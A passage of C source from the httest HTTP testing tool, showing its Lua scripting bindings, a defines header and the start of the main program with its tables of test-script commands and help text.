@return 1 */ static int luam_version(lua_State *L) { lua_pushstring(L, PACKAGE_VERSION); return 1; } /** * Execute httest script. * @param L IN lua state * @return 0 */ static int luam_interpret(lua_State *L) { apr_status_t status; apr_pool_t *ptmp; worker_t *worker; worker_t *parent; worker_t *call; const char *string; apr_table_t *lines; char *buffer; char *last; char *line; apr_size_t len; if (!lua_isstring(L, -1)) { luaL_error(L, "Expect a string to interpret"); return 1; } string = lua_tolstring(L, -1, &len); lua_pop(L, 1); lua_getfield(L, LUA_REGISTRYINDEX, "htt_worker"); worker = lua_touserdata(L, 1); lua_pop(L, 1); lua_getfield(L, LUA_REGISTRYINDEX, "htt_parent"); parent = lua_touserdata(L, 1); lua_pop(L, 1); apr_pool_create_unmanaged_ex(&ptmp, NULL, NULL); lines = apr_table_make(ptmp, 5); call = apr_pcalloc(ptmp, sizeof(*call)); memcpy(call, worker, sizeof(*call)); buffer = apr_pcalloc(ptmp, len+1); memcpy(buffer, string, len); line = apr_strtok(buffer, "\n", &last); while (line) { while (*line == ' ') { ++line ; } if (*line != '\0') { apr_table_add(lines, "lua inline", line); } line = apr_strtok(NULL, "\n", &last); } call->lines = lines; call->interpret = parent->interpret; if ((status = call->interpret(call, worker, ptmp)) != APR_SUCCESS) { luaL_error(L, "Error: %s(%d)", my_status_str(ptmp, status), status); return 1; } apr_pool_destroy(ptmp); return 0; } /** * Get variable from httest * @param L IN lua state * @return 0 */ static int luam_getvar(lua_State *L) { worker_t *worker; const char *val; const char *var = lua_tostring(L, -1); lua_pop(L, 1); lua_getfield(L, LUA_REGISTRYINDEX, "htt_worker"); worker = lua_touserdata(L, 1); if ((val = worker_var_get(worker, var))) { lua_pushstring(L, val); return 1; } return 0; } /** * Get transport object. * @param L IN lua state * @return 0 */ static int luam_transport_get(lua_State *L) { worker_t *worker; lua_getfield(L, LUA_REGISTRYINDEX, "htt_worker"); worker = lua_touserdata(L, 1); if (!worker->socket || !worker->socket->transport) { lua_pushnil(L); return 1; } lua_pushlightuserdata(L, worker->socket->transport); luaL_getmetatable(L, "htt.transport"); lua_setmetatable(L, -2); return 1; } /** * Get transport object. * @param L IN lua state * @return 0 */ static transport_t *lua_checktransport (lua_State *L) { void *ud = luaL_checkudata(L, 1, "htt.transport"); luaL_argcheck(L, ud != NULL, 1, "`transport' expected"); return (transport_t *)ud; } /** * Transport read method * @param L IN lua state * @return 0 */ static int luam_transport_read(lua_State *L) { if (lua_isnumber(L, -1)) { apr_status_t status; apr_pool_t *pool; apr_size_t bytes; transport_t *transport; char *buffer; bytes = lua_tointeger(L, -1); transport = lua_checktransport(L); apr_pool_create_unmanaged_ex(&pool, NULL, NULL); buffer = apr_pcalloc(pool, bytes); if ((status = transport_read(transport, buffer, &bytes)) != APR_SUCCESS) { lua_pushnil(L); apr_pool_destroy(pool); return 1; } lua_pushlstring(L, buffer, bytes); apr_pool_destroy(pool); return 1; } else { luaL_error(L, "Expect number of bytes"); return 1; } } /** * Transport write method * @param L IN lua state * @return 0 */ static int luam_transport_write(lua_State *L) { if (lua_isstring(L, -1)) { apr_status_t status; apr_size_t bytes; const char *buffer = lua_tolstring(L, -1, &bytes); transport_t *transport = lua_checktransport(L); if ((status = transport_write(transport, buffer, bytes)) != APR_SUCCESS) { luaL_error(L, "Could not write %d bytes", bytes); return 1; } } return 0; } /** * Transport set timeout method * @param L IN lua state * @return 0 */ static int luam_transport_set_timeout(lua_State *L) { if (lua_isnumber(L, -1)) { apr_status_t status; apr_interval_time_t tmo = lua_tointeger(L, -1); transport_t *transport = lua_checktransport(L); if ((status = transport_set_timeout(transport, tmo * 1000)) != APR_SUCCESS) { luaL_error(L, "Could not timeout %d ms", tmo); return 1; } } return 0; } /** * Transport get timeout method * @param L IN lua state * @return 1 */ static int luam_transport_get_timeout(lua_State *L) { apr_status_t status; apr_interval_time_t tmo; transport_t *transport = lua_checktransport(L); if ((status = transport_get_timeout(transport, &tmo)) != APR_SUCCESS) { luaL_error(L, "Could not get timeout"); return 1; } else { lua_pushinteger(L, tmo/1000); return 1; } } /** * Set of htt commands for lua */ static const struct luaL_Reg htt_lib_f[] = { {"version", luam_version}, {"interpret", luam_interpret}, {"getVar", luam_getvar}, {"getTransport", luam_transport_get}, {NULL, NULL} }; static const struct luaL_Reg htt_transport_m[] = { {"read", luam_transport_read}, {"write", luam_transport_write}, {"setTimeout", luam_transport_set_timeout}, {"getTimeout", luam_transport_get_timeout}, {NULL, NULL} }; /** * Simple lua interpreter for lua block * @param worker IN callee * @param parent IN caller * @param ptmp IN temp pool for this function * @return apr status */ static apr_status_t block_lua_interpreter(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { int failed; int i; apr_table_entry_t *e; lua_reader_t *reader; lua_wconf_t *wconf = lua_get_worker_config(worker->block); lua_State *L = luaL_newstate(); luaL_openlibs(L); e = (apr_table_entry_t *) apr_table_elts(wconf->params)->elts; for (i = 1; i < apr_table_elts(wconf->params)->nelts; i++) { const char *val = NULL; char *param = store_get_copy(worker->params, ptmp, e[i].key); val = worker_get_value_from_param(worker, param, ptmp); lua_pushstring(L, val); lua_setglobal(L, e[i].key); } luaopen_crypto(L); lua_pushlightuserdata(L, parent); lua_setfield(L, LUA_REGISTRYINDEX, "htt_parent"); lua_pushlightuserdata(L, worker); lua_setfield(L, LUA_REGISTRYINDEX, "htt_worker"); luaL_newmetatable(L, "htt.transport"); lua_pushvalue(L, -1); /* pushes the metatable */ lua_setfield(L, -2, "__index"); /* metatable.__index = metatable */ luaL_register(L, NULL, htt_transport_m); luaL_register(L, "htt", htt_lib_f); lua_pop(L, -1); lua_pop(L, -1); reader = lua_new_lua_reader(worker, ptmp); #if ( LUA_VERSION_NUM == 501 ) failed = (lua_load(L, lua_get_line, reader, "@client") != 0 || lua_pcall(L, 0, LUA_MULTRET, 0) != 0); #elif ( LUA_VERSION_NUM == 502 ) failed = (lua_load(L, lua_get_line, reader, "@client", NULL) != 0 || lua_pcall(L, 0, LUA_MULTRET, 0) != 0); #else #error this lua version is not supported #endif if (failed) { const char *msg = lua_tostring(L, -1); if (msg == NULL) { msg = "(error object is not a string)"; } worker_log(worker, LOG_ERR, "Lua error: %s", msg); lua_pop(L, 1); return APR_EGENERAL; } e = (apr_table_entry_t *) apr_table_elts(wconf->retvars)->elts; for (i = 0; i < apr_table_elts(wconf->retvars)->nelts; i++) { logger_log(worker->logger, LOG_DEBUG, "param: %s; val: %s", e[i].key, e[i].val); if (lua_isstring(L, i + 1)) { store_set(worker->vars, store_get(worker->retvars, e[i].key), lua_tostring(L, i + 1)); } } lua_close(L); return APR_SUCCESS; } /** * Get variable names for in/out for mapping it to/from lua * @param worker IN callee * @param line IN command line */ static void lua_set_variable_names(worker_t *worker, char *line) { char *token; char *last; int input = 1; lua_wconf_t *wconf = lua_get_worker_config(worker); char *data = apr_pstrdup(worker->pbody, line); /* Get params and returns variable names for later mapping from/to lua */ token = apr_strtok(data, " ", &last); while (token) { if (strcmp(token, ":") == 0) { /* : is separator between input and output vars */ input = 0; } else { if (input) { apr_table_setn(wconf->params, token, token); } else { apr_table_setn(wconf->retvars, token, token); } } token = apr_strtok(NULL, " ", &last); } } /************************************************************************ * Hooks ***********************************************************************/ /** * Do load a lua block * @param global IN * @param line INOUT line * @return APR_SUCCESS */ static apr_status_t lua_block_start(global_t *global, char **line) { if (strncmp(*line, ":LUA ", 5) == 0) { lua_wconf_t *wconf; lua_gconf_t *gconf = lua_get_global_config(global); gconf->do_read_line = 1; *line += 5; worker_new(&global->cur_worker, "", global, block_lua_interpreter); wconf = lua_get_worker_config(global->cur_worker); wconf->starting_line_nr = global->line_nr; lua_set_variable_names(global->cur_worker, *line); return APR_SUCCESS; } return APR_ENOTIMPL; } /** * Read line of block * @param global IN * @param line INOUT line * @return APR_SUCCESS */ static apr_status_t lua_read_line(global_t *global, char **line) { lua_gconf_t *gconf = lua_get_global_config(global); if (gconf->do_read_line) { if (*line[0] == 0) { *line = apr_pstrdup(global->pool, " "); } } return APR_SUCCESS; } /** * Do load a lua block * @param global IN * @param line INOUT line * @return APR_SUCCESS */ static apr_status_t lua_block_end(global_t *global) { lua_gconf_t *gconf = lua_get_global_config(global); gconf->do_read_line = 0; return APR_SUCCESS; } /************************************************************************ * Commands ***********************************************************************/ /************************************************************************ * Module ***********************************************************************/ apr_status_t lua_module_init(global_t *global) { module_command_new(global, "LUA", "_MODULE", "", "", NULL); htt_hook_block_start(lua_block_start, NULL, NULL, 0); htt_hook_read_line(lua_read_line, NULL, NULL, 0); htt_hook_block_end(lua_block_end, NULL, NULL, 0); return APR_SUCCESS; } httest-2.4.8/src/defines.h0000664000175100017510000000211512141535454012345 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Global defines for the HTTP Test Tool. */ #ifndef HTTEST_DEFINES_H #define HTTEST_DEFINES_H #define BLOCK_MAX 8192 #define VAR_ALLOWED_CHARS "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-" #define USE_SSL #if defined(WIN32) typedef unsigned long uint32_t; typedef long long uint64_t; typedef unsigned long uint32_t; typedef long int32_t; typedef unsigned short uint16_t; typedef short int16_t; #endif #endif httest-2.4.8/src/httest.c0000664000175100017510000025006212205370114012233 00000000000000/** * Copyright 2006 Christian Liesch * * fooLicensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool. */ /* affects include files on Solaris */ #define BSD_COMP /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include "defines.h" /* Use STACK from openssl to sort commands */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if APR_HAVE_UNISTD_H #include /* for getpid() */ #endif #include "file.h" #include "appender_simple.h" #include "appender_std.h" #include "logger.h" #include "transport.h" #include "socket.h" #include "regex.h" #include "util.h" #include "replacer.h" #include "worker.h" #include "module.h" #include "eval.h" #include "tcp_module.h" #include "body.h" /************************************************************************ * Defines ***********************************************************************/ /************************************************************************ * Structurs ***********************************************************************/ typedef struct global_replacer_s { apr_pool_t *ptmp; store_t *store; } global_replacer_t; /************************************************************************ * Globals ***********************************************************************/ global_t *global = NULL; extern module_t modules[]; static void show_commands(apr_pool_t *p, global_t *global); static void show_command_help(apr_pool_t *p, global_t *global, const char *command); static apr_status_t command_EXIT(command_t * self, worker_t * worker, char *data, apr_pool_t *ptmp); static apr_status_t global_GO(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_EXIT(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_START(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_JOIN(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_END(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_DAEMON(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_BLOCK(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_FILE(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_CLIENT(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_SERVER(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_EXEC(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_SET(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_GLOBAL(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_PATH(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_INCLUDE(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_TIMEOUT(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_AUTO_CLOSE(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_MODULE(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_REQUIRE_VERSION(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); static apr_status_t global_REQUIRE_MODULE(command_t *self, global_t *global, char *data, apr_pool_t *ptmp); command_t global_commands[] = { {"END", (command_f )global_END, "", "Close CLIENT|SERVER body", COMMAND_FLAGS_NONE}, {"GO", (command_f )global_GO, "", "Starts all defined clients, servers and daemons. " "All started client and servers will be joined. " "It is actually a START followed by JOIN.", COMMAND_FLAGS_NONE}, {"START", (command_f )global_START, "", "Starts all defined clients, servers and daemons.", COMMAND_FLAGS_NONE}, {"JOIN", (command_f )global_JOIN, "", "All started client and servers will be joined, only makes sense after START.", COMMAND_FLAGS_NONE}, {"EXIT", (command_f )global_EXIT, "", "Graceful script termination, useful for shell mode.", COMMAND_FLAGS_NONE}, {"CLIENT", (command_f )global_CLIENT, "[]", "Client body start, close it with END and a newline", COMMAND_FLAGS_NONE}, {"SERVER", (command_f )global_SERVER, "[:] []", "Server body start, close it with END and a newline,\n" "Do load server.cert.pem and server.key.pem if found in local directory,\n" "number of concurrent servers, -1 for unlimited,\n" ": SSL, SSL2, SSL3, DTLS1, TLS1" #if (OPENSSL_VERSION_NUMBER >= 0x1000102fL) ", TLS1.1, TLS1.2" #endif "\n" ": 8080 (just the port number)\n" " www.apache.org (just the hostname)\n" " www.apache.org:8080 (hostname and port number)\n" " [fe80::1]:80 (IPv6 numeric address string only)\n", COMMAND_FLAGS_NONE}, {"EXEC", (command_f )global_EXEC, "", "Execute a shell command, attention executes will not join CLIENT/SERVER", COMMAND_FLAGS_NONE}, {"SET", (command_f )global_SET, "=", "Store a value in a global variable", COMMAND_FLAGS_NONE}, {"GLOBAL", (command_f )global_GLOBAL, "+", "Define the given variable as global, this is shared over all threads", COMMAND_FLAGS_NONE}, {"PATH", (command_f )global_PATH, "", "Defines a set of path where INCLUDE looks first for there include files", COMMAND_FLAGS_NONE}, {"INCLUDE", (command_f )global_INCLUDE, "", "Load and execute defined include file,\n" "current path is taken the callers current path", COMMAND_FLAGS_NONE}, {"TIMEOUT", (command_f )global_TIMEOUT, "", "Defines global socket timeout", COMMAND_FLAGS_NONE}, {"AUTO_CLOSE", (command_f )global_AUTO_CLOSE, "on|off", "Handle Connection: close header and close automaticaly the given connection", COMMAND_FLAGS_NONE}, {"BLOCK", (command_f )global_BLOCK, "", "Store a block of commands to call it from a CLIENT/SERVER/BLOCK", COMMAND_FLAGS_NONE}, {"FILE", (command_f )global_FILE, "", "Create a temporary file with given name", COMMAND_FLAGS_NONE}, {"DAEMON", (command_f )global_DAEMON, "", "Daemon body start, close it with END and a newline. \n" "A daemon will not join CLIENT/SERVER and could therefore be used\n" "for supervisor jobs" , COMMAND_FLAGS_NONE}, {"MODULE", (command_f )global_MODULE, "", "Define a module to collect a number of BLOCKs. If you call a BLOCK within" "a module, you need to prefix the BLOCK name with \":\"", COMMAND_FLAGS_NONE}, {"REQUIRE_VERSION", (command_f )global_REQUIRE_VERSION, "", "Test if the executing httest is newer or equal the given . " "Test will be skipped if not. " "Skipping a test will return a 2 instead of 1 for fail or 0 for success.", COMMAND_FLAGS_NONE}, {"REQUIRE_MODULE", (command_f )global_REQUIRE_MODULE, "*", "Test if the executing httest do have the specified modules. " "Test will be skipped if not. " "Skipping a test will return a 2 instead of 1 for fail or 0 for success.", COMMAND_FLAGS_NONE}, {NULL, NULL, NULL, NULL , COMMAND_FLAGS_NONE} }; command_t local_commands[] = { {"__", (command_f )command_DATA, "", "Send to the socket with a CRLF at the end of line", COMMAND_FLAGS_NONE}, {"_-", (command_f )command_NOCRLF, "", "Same like __ but no CRLF at the end of line", COMMAND_FLAGS_NONE}, {"_FLUSH", (command_f )command_FLUSH, "", "Flush the cached lines, \n" "the AUTO Content-Length calculation will take place here", COMMAND_FLAGS_NONE}, {"_CHUNK", (command_f )command_CHUNK, "", "Mark the end of a chunk block, all data after last _FLUSH are counted,\n" "does automatic add chunk info", COMMAND_FLAGS_NONE}, {"_REQ", (command_f )command_REQ, " [:][:] [ []]", "Open connection to defined host:port, with SSL support.\n" "If connection exist no connect will be performed\n" ": SSL, SSL2, SSL3, DTLS1, TLS1" #if (OPENSSL_VERSION_NUMBER >= 0x1000102fL) ", TLS1.1, TLS1.2" #endif "\n" ": host name or IPv4/IPv6 address (IPv6 address must be surrounded\n" " in square brackets)\n" ": Additional tag info do support multiple connection to one target\n" ", and are optional for client/server authentication", COMMAND_FLAGS_NONE}, {"_RESWAIT", (command_f )command_RESWAIT, "", "Do use _RES IGNORE_MONITORS instead" , COMMAND_FLAGS_DEPRECIATED}, {"_RES", (command_f )command_RES, "[IGNORE_MONITORS]", "Wait for a connection accept \n" "IGNORE_MONITORS do ignore all connection pings without data", COMMAND_FLAGS_NONE}, {"_WAIT", (command_f )command_WAIT, "[]", "Wait for data and receive them.\n" "EXPECT and MATCH definitions will be checked here on the incoming data.\n" "Optional you could receive a specific amount of bytes" , COMMAND_FLAGS_NONE}, {"_CLOSE", (command_f )command_CLOSE, "", "Close the current connection and set the connection state to CLOSED", COMMAND_FLAGS_NONE}, {"_EXPECT", (command_f )command_EXPECT, ".|headers|body|error|exec|var() \"|'[!]\"|'", "Define what data we do or do not expect on a WAIT command.\n" "Negation with a leading '!' in the ", COMMAND_FLAGS_NONE}, {"_MATCH", (command_f )command_MATCH, "(.|headers|body|error|exec|var()) \"|'\"|' ", "Define a regex with a match which should be stored in and do fail if no match", COMMAND_FLAGS_NONE}, {"_GREP", (command_f )command_GREP, "(.|headers|body|error|exec|var()) \"|'\"|' ", "Define a regex with a match which should be stored in and do not fail if no match", COMMAND_FLAGS_NONE}, {"_ASSERT", (command_f )command_ASSERT, "", "Check if expression is true fail otherwise", COMMAND_FLAGS_NONE}, {"_SEQUENCE", (command_f )command_MATCH_SEQ, "", "Define a sequence of _MATCH variables which must apear in this order", COMMAND_FLAGS_NONE}, {"_BREAK", (command_f )command_BREAK, "", "Break a loop", COMMAND_FLAGS_NONE}, {"_TIMEOUT", (command_f )command_TIMEOUT, "", "Set socket timeout of current socket", COMMAND_FLAGS_NONE}, {"_SET", (command_f )command_SET, "=|" "<\\n(\\n)*", "Store a value in a local variable. Multiline support.", COMMAND_FLAGS_NONE}, {"_UNSET", (command_f )command_UNSET, "", "Delete variable", COMMAND_FLAGS_NONE}, {"_EXEC", (command_f )command_EXEC, "", "Execute a shell command, _EXEC| will pipe the incoming stream on the\n" "socket in to the called shell command", COMMAND_FLAGS_NONE}, {"_PIPE", (command_f )command_PIPE, "[chunked []]", "Start a pipe for stream the output of EXEC to the socket stream,\n" "wiht optional chunk support", COMMAND_FLAGS_NONE}, {"_SOCKSTATE", (command_f )command_SOCKSTATE, "", "Stores connection state CLOSED or CONNECTED in the ", COMMAND_FLAGS_NONE}, {"_EXIT", (command_f )command_EXIT, "[OK|FAILED]", "Exits with OK or FAILED default is FAILED", COMMAND_FLAGS_NONE}, {"_HEADER", (command_f )command_HEADER, "ALLOW|FILTER
", "Defines allowed headers or headers to filter,\n" "default all headers are allowed and no headers are filtered.\n" "Filter only for receive mechanisme", COMMAND_FLAGS_NONE}, {"_SENDFILE", (command_f )command_SENDFILE, "", "Send file over http", COMMAND_FLAGS_NONE}, {"_DEBUG", (command_f )command_DEBUG, "", "Prints to stdout for debugging reasons", COMMAND_FLAGS_NONE}, {"_UP", (command_f )command_UP, "", "Setup listener", COMMAND_FLAGS_NONE}, {"_DOWN", (command_f )command_DOWN, "", "Shutdown listener", COMMAND_FLAGS_NONE}, {"_CALL", (command_f )command_CALL, "", "Call a defined block", COMMAND_FLAGS_NONE}, {"_LOG_LEVEL_SET", (command_f )command_LOG_LEVEL_SET, "", "Level is a number 0-4", COMMAND_FLAGS_NONE}, {"_LOG_LEVEL_GET", (command_f )command_LOG_LEVEL_GET, "", "Store log level into ", COMMAND_FLAGS_NONE}, {"_LOG_LEVEL", (command_f )command_LOG_LEVEL_SET, "", "Level is a number 0-4", COMMAND_FLAGS_NONE}, {"_RECV", (command_f )command_RECV, "|POLL|CHUNKED|CLOSE [DO_NOT_CHECK]", "Receive an amount of bytes, either specified by a number \n" "or as much until socket timeout will in POLL mode.\n" "optional DO_NOT_CHECK do not check the _MATCH and _EXPECT clauses. \n" "With _CHECK you can do this afterward over a couple of not yet checked " "_RECVs", COMMAND_FLAGS_NONE}, {"_READLINE", (command_f )command_READLINE, "[DO_NOT_CHECK]", "Receive a line terminated with \\r\\n or \\n\n" "optional DO_NOT_CHECK do not check the _MATCH and _EXPECT clauses. \n" "With _CHECK you can do this afterward over a couple of not yet checked " "_READLINEs", COMMAND_FLAGS_NONE}, {"_CHECK", (command_f )command_CHECK, "", "Check _EXPECT and _MATCH", COMMAND_FLAGS_NONE}, {"_ONLY_PRINTABLE", (command_f )command_ONLY_PRINTABLE, "on|off", "Replace all chars below 32 and above 127 with a space", COMMAND_FLAGS_NONE}, {"_PRINT_HEX", (command_f )command_PRINT_HEX, "on|off", "Display bytes with two hex ditigs no space", COMMAND_FLAGS_NONE}, {"_SH", (command_f )command_SH, "shell script line or END", "Embedded shell script within a tmp file, execute if END is found", COMMAND_FLAGS_NONE}, {"_ADD_HEADER", (command_f )command_ADD_HEADER, "
", "Add additional header to received headers to force forexample chunked encoding", COMMAND_FLAGS_NONE}, {"_AUTO_CLOSE", (command_f )command_AUTO_CLOSE, "on|off", "Close connection on Connection: close header", COMMAND_FLAGS_NONE}, {"_AUTO_COOKIE", (command_f )command_AUTO_COOKIE, "on|off", "Handles cookies in a simple way, do not check expire or path", COMMAND_FLAGS_NONE}, {"_IGNORE_BODY", (command_f )command_IGNORE_BODY, "on|off", "Read but ignore body of request/response.", COMMAND_FLAGS_NONE}, {"_TUNNEL", (command_f )command_TUNNEL, " [:][:] [ []]", "Open tunnel to defined host:port, with SSL support.\n" "If connection exist no connect will be performed\n" ": SSL, SSL2, SSL3, DTLS1, TLS1" #if (OPENSSL_VERSION_NUMBER >= 0x1000102fL) ", TLS1.1, TLS1.2" #endif "\n" ":Additional tag info do support multiple connection to one target\n" ", and are optional for client/server authentication", COMMAND_FLAGS_NONE}, {"_RECORD", (command_f )command_RECORD, "RES [ALL] {STATUS | HEADERS | BODY}*", "Record response for replay it or store it", COMMAND_FLAGS_NONE}, {"_PLAY", (command_f )command_PLAY, "SOCKET | VAR ", "Play back recorded stuff either on socket or into a variable.", COMMAND_FLAGS_NONE}, {"_USE", (command_f )command_USE, "", "Use the name space of a module.", COMMAND_FLAGS_NONE}, {"_LOCAL", (command_f )command_LOCAL, "+", "Define BLOCK local variables.", COMMAND_FLAGS_NONE}, {"_VERSION", (command_f )command_VERSION, "", "Get version of running httest.", COMMAND_FLAGS_NONE}, /* body section */ {"_IF", (command_f )command_IF, "(\"\" [NOT] MATCH \"regex\")|(\"\" [NOT] EQ|LT|GT|LE|GT \")\"|\"(\"expression\")\"", "Test string match, number equality or simply an expression to run body, \n" "close body with _END,\n" "negation with a leading '!' in the ", COMMAND_FLAGS_BODY}, {"_LOOP", (command_f )command_LOOP, "[s|ms]|FOREVER []", "LOOP for specified times or optional for a duration given as \"s\" or " "\"ms\" with no space after number, additional you can specify a variable " "which holds the loop count,\n" "close body with _END", COMMAND_FLAGS_BODY}, {"_FOR", (command_f )command_FOR, " \"|'*\"|'", "Do for each element,\n" "close body with _END", COMMAND_FLAGS_BODY}, {"_BPS", (command_f )command_BPS, " ", "Send not more than defined bytes per second, while defined duration [s]\n" "close body with _END", COMMAND_FLAGS_BODY}, {"_RPS", (command_f )command_RPS, " ", "Send not more than defined requests per second, while defined duration [s]\n" "Request is count on every _WAIT call\n" "close body with _END", COMMAND_FLAGS_BODY}, {"_SOCKET", (command_f )command_SOCKET, "", "Spawns a socket reader over the next _WAIT _RECV commands\n" "close body with _END", COMMAND_FLAGS_BODY|COMMAND_FLAGS_DEPRECIATED}, {"_MILESTONE", (command_f )command_MILESTONE, "", "close body with _END", COMMAND_FLAGS_BODY|COMMAND_FLAGS_EXPERIMENTAL}, {"_ERROR", (command_f )command_ERROR, "", "We do expect specific error on body exit\n" "close body with _END", COMMAND_FLAGS_BODY}, /* Link section */ {"_OP", NULL, "_MATH:OP", NULL, COMMAND_FLAGS_LINK}, {"_RAND", NULL, "_MATH:RAND", NULL, COMMAND_FLAGS_LINK}, {"_DETACH", NULL, "_PROC:DETACH", NULL, COMMAND_FLAGS_LINK}, {"_PID", NULL, "_PROC:GET_PID", NULL, COMMAND_FLAGS_LINK}, {"_LOCK", NULL, "_PROC:LOCK", NULL, COMMAND_FLAGS_LINK}, {"_UNLOCK", NULL, "_PROC:UNLOCK", NULL, COMMAND_FLAGS_LINK}, {"_WHICH", NULL, "_THREAD:GET_NUMBER", NULL, COMMAND_FLAGS_LINK}, {"_SLEEP", NULL, "_SYS:SLEEP", NULL, COMMAND_FLAGS_LINK}, {"_B64ENC", NULL, "_CODER:B64ENC", NULL, COMMAND_FLAGS_LINK}, {"_B64DEC", NULL, "_CODER:B64DEC", NULL, COMMAND_FLAGS_LINK}, {"_URLENC", NULL, "_CODER:URLENC", NULL, COMMAND_FLAGS_LINK}, {"_URLDEC", NULL, "_CODER:URLDEC", NULL, COMMAND_FLAGS_LINK}, {"_TIMER", NULL, "_DATE:TIMER", NULL, COMMAND_FLAGS_LINK}, {"_TIME", NULL, "_DATE:GET_TIME", NULL, COMMAND_FLAGS_LINK}, {"_STRFTIME", NULL, "_DATE:FORMAT", NULL, COMMAND_FLAGS_LINK}, {"_SYNC", NULL, "_DATE:SYNC", NULL, COMMAND_FLAGS_LINK}, {"_SSL_CONNECT", NULL, "_SSL:CONNECT", NULL, COMMAND_FLAGS_LINK}, {"_SSL_ACCEPT", NULL, "_SSL:ACCEPT", NULL, COMMAND_FLAGS_LINK}, {"_RENEG", NULL, "_SSL:RENEG_CERT", NULL, COMMAND_FLAGS_LINK}, {"_SSL_BUF_2_CERT", NULL, "_SSL:LOAD_CERT", NULL, COMMAND_FLAGS_LINK}, {"_CERT", NULL, "_SSL:SET_CERT", NULL, COMMAND_FLAGS_LINK}, {"_SSL_CERT_VAL", NULL, "_SSL:GET_CERT_VALUE", NULL, COMMAND_FLAGS_LINK}, {"_SSL_GET_SESSION", NULL, "_SSL:GET_SESSION", NULL, COMMAND_FLAGS_LINK}, {"_SSL_SET_SESSION", NULL, "_SSL:SET_SESSION", NULL, COMMAND_FLAGS_LINK}, {"_SSL_SESSION_ID", NULL, "_SSL:GET_SESSION_ID", NULL, COMMAND_FLAGS_LINK}, {"_SSL_LEGACY", NULL, "_SSL:SET_LEGACY", NULL, COMMAND_FLAGS_LINK}, {"_SSL_ENGINE", NULL, "_SSL:SET_ENGINE", NULL, COMMAND_FLAGS_LINK}, {"_VERIFY_PEER", NULL, "_SSL:RENEG_CERT verify", NULL, COMMAND_FLAGS_LINK}, {"_SSL_SECURE_RENEG_SUPPORTED", NULL, "_SSL:SECURE_RENEG_SUPPORTED", NULL, COMMAND_FLAGS_LINK}, /* mark end of list */ {NULL, NULL, NULL, NULL, COMMAND_FLAGS_NONE}, }; global_t *process_global = NULL; int success = 1; /************************************************************************ * Private ***********************************************************************/ static void worker_set_global_error(worker_t *worker); static apr_status_t worker_interpret(worker_t * worker, worker_t *parent, apr_pool_t *ptmp); /** * Increase threads by 1 * @param global IN global instanz */ static void inc_threads(global_t *global) { lock(global->mutex); ++global->cur_threads; unlock(global->mutex); } /** * Increase threads by 1 * @param global IN global instanz */ static void dec_threads(global_t *global) { lock(global->mutex); --global->cur_threads; unlock(global->mutex); } /** * Count total threads * @param global IN global instanz */ static void inc_tot_threads(global_t *global) { lock(global->mutex); ++global->tot_threads; unlock(global->mutex); } /** * set threads to count * @param global IN global instanz * @param count IN no of threads */ static void set_threads(global_t *global, int count) { lock(global->mutex); global->cur_threads = count; unlock(global->mutex); } /** * Get current number of threads. * @param global IN global instanz * @return threads */ static int get_threads(global_t *global) { int ret; lock(global->mutex); ret = global->cur_threads; unlock(global->mutex); return ret; } /** * Get total number of threads since start. * @param global IN global instanz * @return threads */ static int get_tot_threads(global_t *global) { int ret; lock(global->mutex); ret = global->tot_threads; unlock(global->mutex); return ret; } /** * Increase groups of threads * @note: Every CLIENT, SERVER is a group * @param global IN instance */ static void inc_groups(global_t *global) { lock(global->mutex); ++global->groups; unlock(global->mutex); } /** * Get current group id * @param global IN instance * @return group id */ static int get_tot_groups(global_t *global) { int ret; lock(global->mutex); ret = global->groups; unlock(global->mutex); return ret; } /** * Lookup a block name in current module * @param worker IN worker object * @param line IN line with a possible block name * @param ptmp IN temp pool * @return block hash */ static int worker_is_block(worker_t * worker, char *line, apr_pool_t *ptmp) { apr_size_t len = 0; char *block_name; if (strncmp(line, "__", 2) == 0 || strncmp(line, "_-", 2) == 0) { /* very special commands, not possible to overwrite this one */ return 0; } while (line[len] != ' ' && line[len] != '\0') ++len; block_name = apr_pstrndup(ptmp, line, len); /* if name space do handle otherwise */ if (strchr(block_name, ':')) { return 0; } return apr_hash_get(worker->blocks, block_name, APR_HASH_KEY_STRING) != NULL; } /** * Replacer upcall for global context * 